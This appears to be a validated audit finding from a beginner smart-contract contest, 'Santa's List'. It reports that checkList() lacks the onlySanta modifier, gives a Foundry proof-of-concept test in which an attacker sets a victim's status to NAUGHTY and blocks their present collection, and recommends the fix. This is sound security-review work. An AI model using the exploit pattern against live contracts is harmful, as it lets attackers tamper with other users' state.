First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can change any user's status in the first check list.

denzi

Summary

An attacker can exploit the protocol and change the status of the first check list for any user.

Vulnerability Details

An attacker can call the checkList function by passing an address of any user and the status. The function sets the given status by the attacker for that user in the first check list. This is possible due to the missing modifier in the following lines of code

function checkList(address person, Status status) external {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

Proof of Concept for the exploit.

Overview:

In this PoC, User can attack the protocol and change the status of anyone using the external function known as checkList(). This function is missing the onlySanta modifier.

Actors:

  • Attacker: The attacker who will call the checkList function with the victim's address and pass in a status of their own choice.

  • Victim: The victim will have their status for the first checkList changed once the attack is completed, making it impossible for them to redeem their presents.

Working Test Case:

function testAttackerCanCheckList1() public {
// Santa will check the victim in both lists as Extra_Nice. Both Lists can have Nice aswell.
vm.startPrank(santa);
santasList.checkList(victim, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(victim, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.startPrank(attacker); // Acting as attacker
santasList.checkList(victim, SantasList.Status.NAUGHTY); // Changing the status of victim
​
assertEq(
uint256(santasList.getNaughtyOrNiceOnce(victim)),
uint256(SantasList.Status.NAUGHTY)
); // Results in Equal
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(victim); // Acting as Victim
vm.expectRevert(SantasList.SantasList__NotNice.selector); // Victim tries to redeem their rewards but they are found to be not nice hence the function reverts.
santasList.collectPresent();
}

Impact

If the attacker calls this function, then they can block the collection of presents for any user by mismatching the statuses of the first and second check list. This causes severe disruption of the protocol making it impossible for the victim to collect their presents.

Tools Used

Manual Review, Foundry Tests

Recommendations

Apply the missing modifier => onlySanta on this function, Similar to the checkTwice function.

function checkList(address person, Status status) external onlySanta {
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.